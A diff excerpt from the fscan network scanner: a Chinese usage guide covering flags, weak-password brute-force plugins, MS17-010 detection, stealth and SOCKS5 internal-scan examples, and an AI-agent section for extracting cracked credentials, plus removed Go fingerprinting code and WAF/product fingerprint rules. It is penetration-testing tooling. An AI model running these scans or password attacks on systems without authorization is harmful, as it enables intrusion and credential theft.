| `-u` | 指定 URL(Web 扫描) | `-u https://example.com` |
|
||||
| `-uf` | URL 文件 | `-uf urls.txt` |
|
||||
|
||||
### 扫描控制
|
||||
|
||||
| 参数 | 说明 | 默认值 |
|
||||
|------|------|--------|
|
||||
| `-m` | 扫描模式 | `all` |
|
||||
| `-t` | 端口扫描线程数 | `600` |
|
||||
| `-mt` | 模块线程数 | `20` |
|
||||
| `-time` | 连接超时(秒) | `3` |
|
||||
| `-gt` | 全局超时(秒,0 表示不限制) | `0` |
|
||||
| `-np` | 跳过存活检测 | `false` |
|
||||
| `-ntp` | 禁用 TCP 补充探测 | `false` |
|
||||
| `-ao` | 仅存活检测 | `false` |
|
||||
| `-nobr` | 禁用暴力破解 | `false` |
|
||||
| `-full` | 全量 POC 扫描 | `false` |
|
||||
| `-max-retries` | 最大重试次数 | `1` |
|
||||
|
||||
### 认证
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-user` | 用户名 |
|
||||
| `-pwd` | 密码 |
|
||||
| `-usera` | 追加用户名 |
|
||||
| `-pwda` | 追加密码,支持逗号或空格分隔多个值 |
|
||||
| `-userf` | 用户名字典文件 |
|
||||
| `-pwdf` | 密码字典文件 |
|
||||
| `-domain` | 域名(SMB/WMI) |
|
||||
| `-sshkey` | SSH 私钥文件 |
|
||||
| `-hash` / `-hashf` | NTLM Hash / Hash 文件 |
|
||||
|
||||
### 代理
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) |
|
||||
| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) |
|
||||
| `-iface` | 指定本地网卡 IP(VPN 场景) |
|
||||
|
||||
### 输出
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-silent` | 静默模式:stdout 仅输出 NDJSON |
|
||||
| `-o` | 输出文件路径(默认 `result.txt`) |
|
||||
| `-f` | 输出格式:`txt` / `json` / `csv` |
|
||||
| `-no` | 禁用文件保存 |
|
||||
| `-debug` | 调试模式:日志写入 `fscan_debug.log` |
|
||||
| `-log` | 日志级别(`debug` / `info` / `base` / `error`) |
|
||||
|
||||
### 扫描模式 `-m` 的取值
|
||||
|
||||
| 值 | 说明 |
|
||||
|------|------|
|
||||
| `all` | 全部扫描(默认) |
|
||||
| `icmp` | 仅 ICMP 存活检测 |
|
||||
| 插件名 | 仅运行指定插件(如 `ssh`、`smb`、`ms17010`、`webtitle`) |
|
||||
|
||||
## 服务插件列表
|
||||
|
||||
| 插件 | 默认端口 | 功能 |
|
||||
|------|----------|------|
|
||||
| `ftp` | 21 | FTP 弱口令 |
|
||||
| `ssh` | 22 | SSH 弱口令 |
|
||||
| `telnet` | 23 | Telnet 弱口令 |
|
||||
| `smtp` | 25 | SMTP 弱口令 |
|
||||
| `findnet` | 135 | RPC 网络信息发现(NetInfo) |
|
||||
| `netbios` | 139 | NetBIOS 信息收集 |
|
||||
| `smb` | 445 | SMB 弱口令 |
|
||||
| `ms17010` | 445 | MS17-010 永恒之蓝检测 |
|
||||
| `ldap` | 389 | LDAP 弱口令 |
|
||||
| `mssql` | 1433 | MSSQL 弱口令 |
|
||||
| `oracle` | 1521 | Oracle 弱口令 |
|
||||
| `mysql` | 3306 | MySQL 弱口令 |
|
||||
| `rdp` | 3389 | RDP 弱口令 + 系统信息 |
|
||||
| `postgresql` | 5432 | PostgreSQL 弱口令 |
|
||||
| `vnc` | 5900 | VNC 弱口令 |
|
||||
| `redis` | 6379 | Redis 未授权 + 弱口令 |
|
||||
| `elasticsearch` | 9200 | ES 未授权 |
|
||||
| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 |
|
||||
| `memcached` | 11211 | Memcached 未授权 |
|
||||
| `kafka` | 9092 | Kafka 未授权 |
|
||||
| `activemq` | 61616 | ActiveMQ 弱口令 |
|
||||
| `rabbitmq` | 5672 | RabbitMQ 弱口令 |
|
||||
| `cassandra` | 9042 | Cassandra 弱口令 |
|
||||
| `neo4j` | 7687 | Neo4j 弱口令 |
|
||||
| `rsync` | 873 | Rsync 未授权 |
|
||||
| `webtitle` | 80/443 | Web 标题 + 指纹识别 |
|
||||
| `webpoc` | 80/443 | Web 漏洞 POC |
|
||||
|
||||
## 本地插件(`-local`)
|
||||
|
||||
```bash
|
||||
fscan -local avdetect # 杀软检测
|
||||
fscan -local systeminfo # 系统信息收集
|
||||
fscan -local envinfo # 环境变量信息
|
||||
fscan -local dcinfo # 域控信息
|
||||
fscan -local fileinfo # 敏感文件搜索
|
||||
```
|
||||
|
||||
## NDJSON 输出 Schema(`-silent` 模式)
|
||||
|
||||
每行一个 JSON 对象,所有字段定义:
|
||||
|
||||
| 字段 | 类型 | 出现条件 | 说明 |
|
||||
|------|------|----------|------|
|
||||
| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` |
|
||||
| `target` | string | 必有 | 原始目标 `host` 或 `host:port` |
|
||||
| `status` | string | 必有 | 状态描述 |
|
||||
| `host` | string | 必有 | IP 地址 |
|
||||
| `port` | int | PORT/SERVICE/VULN | 端口号 |
|
||||
| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) |
|
||||
| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https) |
|
||||
| `banner` | string | SERVICE | 服务 Banner |
|
||||
| `title` | string | SERVICE (web) | 网页标题 |
|
||||
| `url` | string | SERVICE (web) | 完整 URL |
|
||||
| `vulnerability` | string | VULN | 漏洞名称 |
|
||||
| `username` | string | VULN (弱口令) | 用户名 |
|
||||
| `password` | string | VULN (弱口令) | 密码 |
|
||||
| `plugin` | string | SERVICE/VULN | 产生结果的插件名 |
|
||||
| `version` | string | SERVICE | 服务版本号 |
|
||||
| `os` | string | SERVICE | 操作系统信息 |
|
||||
|
||||
### 输出示例
|
||||
|
||||
```jsonl
|
||||
{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"}
|
||||
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22}
|
||||
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445}
|
||||
{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"}
|
||||
{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"}
|
||||
{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"}
|
||||
{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"}
|
||||
{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"}
|
||||
```
|
||||
|
||||
### 结果产出顺序
|
||||
|
||||
1. `HOST` — 存活探测阶段
|
||||
2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错)
|
||||
3. `SERVICE` — 服务识别阶段
|
||||
4. `VULN` — 漏洞/弱口令检测阶段
|
||||
|
||||
同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。
|
||||
|
||||
## 常用场景参数组合
|
||||
|
||||
### 全网段快速扫描
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent
|
||||
```
|
||||
|
||||
### 跳过存活检测直接扫端口(目标明确时)
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent -np
|
||||
```
|
||||
|
||||
### 指定端口精确扫描
|
||||
|
||||
```bash
|
||||
fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379
|
||||
```
|
||||
|
||||
### 仅存活探测
|
||||
|
||||
```bash
|
||||
fscan -h 172.16.0.0/16 -silent -m icmp
|
||||
```
|
||||
|
||||
### 低速隐蔽扫描
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent -t 30 -time 5
|
||||
```
|
||||
|
||||
### 通过 SOCKS5 代理扫描内网
|
||||
|
||||
```bash
|
||||
fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080
|
||||
```
|
||||
|
||||
### 仅做弱口令检测
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt
|
||||
```
|
||||
|
||||
### Web 目标扫描
|
||||
|
||||
```bash
|
||||
fscan -u https://target.com -silent -full
|
||||
```
|
||||
|
||||
### 多目标文件批量扫描
|
||||
|
||||
```bash
|
||||
fscan -hf targets.txt -silent -o results.json -f json
|
||||
```
|
||||
|
||||
### 带调试日志的排障扫描
|
||||
|
||||
```bash
|
||||
# NDJSON 到 stdout,debug 日志到文件,互不干扰
|
||||
fscan -h 192.168.1.0/24 -silent -debug
|
||||
# 事后查看:cat fscan_debug.log
|
||||
```
|
||||
|
||||
## AI Agent 结果处理
|
||||
|
||||
### Python 管道消费
|
||||
|
||||
```python
|
||||
import json, subprocess
|
||||
|
||||
proc = subprocess.Popen(
|
||||
["fscan", "-h", "192.168.1.0/24", "-silent"],
|
||||
stdout=subprocess.PIPE, text=True
|
||||
)
|
||||
|
||||
hosts, services, vulns = [], [], []
|
||||
for line in proc.stdout:
|
||||
r = json.loads(line)
|
||||
if r["type"] == "HOST":
|
||||
hosts.append(r["host"])
|
||||
elif r["type"] == "SERVICE":
|
||||
services.append(r)
|
||||
elif r["type"] == "VULN":
|
||||
vulns.append(r)
|
||||
|
||||
proc.wait()
|
||||
```
|
||||
|
||||
### jq 过滤
|
||||
|
||||
```bash
|
||||
# 提取所有弱口令
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"'
|
||||
|
||||
# 提取所有漏洞
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"'
|
||||
|
||||
# 提取 Web 服务
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"'
|
||||
|
||||
# 统计开放端口
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON
|
||||
- 空字段不出现在 JSON 中(`omitempty`)
|
||||
- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败
|
||||
- `-silent` 和 `-debug` 可同时使用,互不干扰
|
||||
- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证
|
||||
- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级
|
||||
- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率
|
||||
@@ -1,69 +0,0 @@
|
||||
package WebScan
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
type CheckDatas struct {
|
||||
Body []byte
|
||||
Headers string
|
||||
}
|
||||
|
||||
func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
|
||||
var matched bool
|
||||
var infoname []string
|
||||
|
||||
for _, data := range *CheckData {
|
||||
for _, rule := range info.RuleDatas {
|
||||
if rule.Type == "code" {
|
||||
matched, _ = regexp.MatchString(rule.Rule, string(data.Body))
|
||||
} else {
|
||||
matched, _ = regexp.MatchString(rule.Rule, data.Headers)
|
||||
}
|
||||
if matched == true {
|
||||
infoname = append(infoname, rule.Name)
|
||||
}
|
||||
}
|
||||
//flag, name := CalcMd5(data.Body)
|
||||
|
||||
//if flag == true {
|
||||
// infoname = append(infoname, name)
|
||||
//}
|
||||
}
|
||||
|
||||
infoname = removeDuplicateElement(infoname)
|
||||
|
||||
if len(infoname) > 0 {
|
||||
result := fmt.Sprintf("[+] InfoScan %-25v %s ", Url, infoname)
|
||||
common.LogSuccess(result)
|
||||
return infoname
|
||||
}
|
||||
return []string{""}
|
||||
}
|
||||
|
||||
func CalcMd5(Body []byte) (bool, string) {
|
||||
has := md5.Sum(Body)
|
||||
md5str := fmt.Sprintf("%x", has)
|
||||
for _, md5data := range info.Md5Datas {
|
||||
if md5str == md5data.Md5Str {
|
||||
return true, md5data.Name
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
|
||||
func removeDuplicateElement(languages []string) []string {
|
||||
result := make([]string, 0, len(languages))
|
||||
temp := map[string]struct{}{}
|
||||
for _, item := range languages {
|
||||
if _, ok := temp[item]; !ok {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
@@ -1,101 +0,0 @@
|
||||
package WebScan
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
//go:embed pocs
|
||||
var Pocs embed.FS
|
||||
var once sync.Once
|
||||
var AllPocs []*lib.Poc
|
||||
|
||||
func WebScan(info *common.HostInfo) {
|
||||
once.Do(initpoc)
|
||||
var pocinfo = common.Pocinfo
|
||||
buf := strings.Split(info.Url, "/")
|
||||
pocinfo.Target = strings.Join(buf[:3], "/")
|
||||
|
||||
if pocinfo.PocName != "" {
|
||||
Execute(pocinfo)
|
||||
} else {
|
||||
for _, infostr := range info.Infostr {
|
||||
pocinfo.PocName = lib.CheckInfoPoc(infostr)
|
||||
Execute(pocinfo)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func Execute(PocInfo common.PocInfo) {
|
||||
req, err := http.NewRequest("GET", PocInfo.Target, nil)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
|
||||
common.LogError(errlog)
|
||||
return
|
||||
}
|
||||
req.Header.Set("User-agent", common.UserAgent)
|
||||
req.Header.Set("Accept", common.Accept)
|
||||
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
if common.Cookie != "" {
|
||||
req.Header.Set("Cookie", common.Cookie)
|
||||
}
|
||||
req.Header.Set("Connection", "close")
|
||||
pocs := filterPoc(PocInfo.PocName)
|
||||
lib.CheckMultiPoc(req, pocs, common.PocNum)
|
||||
}
|
||||
|
||||
func initpoc() {
|
||||
if common.PocPath == "" {
|
||||
entries, err := Pocs.ReadDir("pocs")
|
||||
if err != nil {
|
||||
fmt.Printf("[-] init poc error: %v", err)
|
||||
return
|
||||
}
|
||||
for _, one := range entries {
|
||||
path := one.Name()
|
||||
if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
|
||||
if poc, _ := lib.LoadPoc(path, Pocs); poc != nil {
|
||||
AllPocs = append(AllPocs, poc)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
err := filepath.Walk(common.PocPath,
|
||||
func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info == nil {
|
||||
return err
|
||||
}
|
||||
if !info.IsDir() {
|
||||
if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
|
||||
poc, _ := lib.LoadPocbyPath(path)
|
||||
if poc != nil {
|
||||
AllPocs = append(AllPocs, poc)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf("[-] init poc error: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func filterPoc(pocname string) (pocs []*lib.Poc) {
|
||||
if pocname == "" {
|
||||
return AllPocs
|
||||
}
|
||||
for _, poc := range AllPocs {
|
||||
if strings.Contains(poc.Name, pocname) {
|
||||
pocs = append(pocs, poc)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -1,313 +0,0 @@
|
||||
package info
|
||||
|
||||
type RuleData struct {
|
||||
Name string
|
||||
Type string
|
||||
Rule string
|
||||
}
|
||||
|
||||
type Md5Data struct {
|
||||
Name string
|
||||
Md5Str string
|
||||
}
|
||||
|
||||
type PocData struct {
|
||||
Name string
|
||||
Alias string
|
||||
}
|
||||
|
||||
var RuleDatas = []RuleData{
|
||||
{"宝塔", "body", "(app.bt.cn/static/app.png|安全入口校验失败|<title>入口校验失败</title>|href=\"http://www.bt.cn/bbs)"},
|
||||
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
|
||||
{"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
|
||||
{"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
|
||||
{"绿盟防火墙", "code", "(NSFOCUS NF)"},
|
||||
{"绿盟防火墙", "headers", "(NSFocus)"},
|
||||
{"Topsec-Waf", "index", `(<META NAME="Copyright" CONTENT="Topsec Network Security Technology Co.,Ltd"/>","<META NAME="DESCRIPTION" CONTENT="Topsec web UI"/>)`},
|
||||
{"Anquanbao", "headers", "(Anquanbao)"},
|
||||
{"BaiduYunjiasu", "headers", "(yunjiasu)"},
|
||||
{"BigIP", "headers", "(BigIP|BIGipServer)"},
|
||||
{"BinarySEC", "headers", "(binarysec)"},
|
||||
{"BlockDoS", "headers", "(BlockDos.net)"},
|
||||
{"CloudFlare", "headers", "(cloudflare)"},
|
||||
{"Cloudfront", "headers", "(cloudfront)"},
|
||||
{"Comodo", "headers", "(Protected by COMODO)"},
|
||||
{"IBM-DataPower", "headers", "(X-Backside-Transport)"},
|
||||
{"DenyAll", "headers", "(sessioncookie=)"},
|
||||
{"dotDefender", "headers", "(dotDefender)"},
|
||||
{"Incapsula", "headers", "(X-CDN|Incapsula)"},
|
||||
{"Jiasule", "headers", "(jsluid=)"},
|
||||
{"KONA", "headers", "(AkamaiGHost)"},
|
||||
{"ModSecurity", "headers", "(Mod_Security|NOYB)"},
|
||||
{"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
|
||||
{"Newdefend", "headers", "(newdefend)"},
|
||||
{"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
|
||||
{"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
|
||||
{"Safedog", "headers", "(Safedog|WAF/2.0)"},
|
||||
{"SonicWALL", "headers", "(SonicWALL)"},
|
||||
{"Stingray", "headers", "(X-Mapping-)"},
|
||||
{"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
|
||||
{"Usp-Sec", "headers", "(Secure Entry Server)"},
|
||||
{"Varnish", "headers", "(varnish)"},
|
||||
{"Wallarm", "headers", "(wallarm)"},
|
||||
{"阿里云", "code", "(errors.aliyun.com)"},
|
||||
{"WebKnight", "headers", "(WebKnight)"},
|
||||
{"Yundun", "headers", "(YUNDUN)"},
|
||||
{"Yunsuo", "headers", "(yunsuo)"},
|
||||
{"Coding pages", "header", "(Coding Pages)"},
|
||||
{"启明防火墙", "body", "(/cgi-bin/webui?op=get_product_model)"},
|
||||
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
|
||||
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
|
||||
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
|
||||
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
|
||||
{"Nexus", "code", "(Nexus Repository Manager)"},
|
||||
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
|
||||
{"Harbor", "code", "(<title>Harbor</title>)"},
|
||||
{"Harbor", "cookie", "(harbor-lang)"},
|
||||
{"禅道", "code", "(/theme/default/images/main/zt-logo.png)"},
|
||||
{"禅道", "cookie", "(zentaosid)"},
|
||||
{"协众OA", "code", "(Powered by 协众OA)"},
|
||||
{"协众OA", "cookie", "(CNOAOASESSID)"},
|
||||
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
|
||||
{"atmail-WebMail", "cookie", "(atmail6)"},
|
||||
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
|
||||
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
|
||||
{"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
|
||||
{"discuz", "code", "(content=\"Discuz! X\")"},
|
||||
{"Typecho", "code", "(Typecho</a>)"},
|
||||
{"金蝶EAS", "code", "(easSessionId)"},
|
||||
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
|
||||
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
|
||||
{"H3C-AM8000", "code", "(AM8000)"},
|
||||
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
|
||||
{"H3C公司产品", "code", "([email protected])"},
|
||||
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
|
||||
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
|
||||
{"H3C ER5100", "code", "(ER5100系统管理)"},
|
||||
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
|
||||
{"CISCO_EPC3925", "code", "(Docsis_system)"},
|
||||
{"CISCO ASR", "code", "(CISCO ASR)"},
|
||||
{"H3C ER3200", "code", "(ER3200系统管理)"},
|
||||
{"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"},
|
||||
{"Spark_Master", "code", "(Spark Master at)"},
|
||||
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
|
||||
{"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
|
||||
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
|
||||
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
|
||||
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
|
||||
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
|
||||
{"360主机卫士", "headers", "(zhuji.360.cn)"},
|
||||
{"Nagios", "headers", "(Nagios Access)"},
|
||||
{"H3C ER8300", "code", "(ER8300系统管理)"},
|
||||
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
|
||||
{"华为 MCU", "code", "(McuR5-min.js)"},
|
||||
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
|
||||
{"泛微OA", "headers", "(ecology_JSessionid)"},
|
||||
{"泛微OA", "code", "(/spa/portal/public/index.js)"},
|
||||
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
|
||||
{"360网站卫士", "code", "(360wzb)"},
|
||||
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
|
||||
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
|
||||
{"zabbix", "cookie", "(zbx_sessionid)"},
|
||||
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
|
||||
{"CISCO_VPN", "headers", "(webvpn)"},
|
||||
{"360站长平台", "code", "(360-site-verification)"},
|
||||
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
|
||||
{"o2security_vpn", "headers", "(client_param=install_active)"},
|
||||
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
|
||||
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
|
||||
{"CISCO-CX20", "code", "(CISCO-CX20)"},
|
||||
{"H3C ER5200", "code", "(ER5200系统管理)"},
|
||||
{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
|
||||
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
|
||||
{"H3C ER3100", "code", "(ER3100系统管理)"},
|
||||
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
|
||||
{"360webfacil_360WebManager", "code", "(publico/template/)"},
|
||||
{"Citrix_Netscaler", "code", "(ns_af)"},
|
||||
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
|
||||
{"H3C ER3260", "code", "(ER3260系统管理)"},
|
||||
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
|
||||
{"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
|
||||
{"Spark_Worker", "code", "(Spark Worker at)"},
|
||||
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
|
||||
{"Citrix-ConfProxy", "code", "(confproxy)"},
|
||||
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
|
||||
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
|
||||
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
|
||||
{"华为(HUAWEI)USG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
|
||||
{"H3C ER6300", "code", "(ER6300系统管理)"},
|
||||
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
|
||||
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
|
||||
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
|
||||
{"H3C ER2100", "code", "(ER2100系统管理)"},
|
||||
{"jira", "code", "(jira.webresources)"},
|
||||
{"金和协同管理平台", "code", "(金和协同管理平台)"},
|
||||
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
|
||||
{"linksys-vpn", "headers", "(linksys-vpn)"},
|
||||
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
|
||||
{"华为(HUAWEI)Secoway设备", "code", "(Secoway)"},
|
||||
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
|
||||
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
|
||||
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
|
||||
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
|
||||
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
|
||||
{"Jboss", "headers", "(JBoss)"},
|
||||
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
|
||||
{"泛微E-mobile", "headers", "(EMobileServer)"},
|
||||
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
|
||||
{"ThinkPHP", "headers", "(ThinkPHP)"},
|
||||
{"ThinkPHP", "code", "(/Public/static/js/)"},
|
||||
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
|
||||
{"Laravel", "headers", "(laravel_session)"},
|
||||
{"DWR", "code", "(dwr/engine.js)"},
|
||||
{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
|
||||
{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
|
||||
{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
|
||||
{"Jenkins", "code", "(Jenkins)"},
|
||||
{"红帆OA", "code", "(iOffice)"},
|
||||
{"VMware vSphere", "code", "(VMware vSphere)"},
|
||||
{"打印机", "code", "(打印机|media/canon.gif)"},
|
||||
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
|
||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
|
||||
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
|
||||
{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
|
||||
{"Hadoop Applications", "code", "(/cluster/app/application)"},
|
||||
{"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
|
||||
{"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
|
||||
{"帆软报表", "headers", "(数据决策系统)"},
|
||||
{"华夏ERP", "headers", "(华夏ERP)"},
|
||||
{"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
|
||||
{"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
|
||||
{"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
|
||||
{"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
|
||||
{"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
|
||||
{"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
|
||||
{"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
|
||||
{"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
|
||||
{"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
|
||||
{"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
|
||||
{"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
|
||||
{"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
|
||||
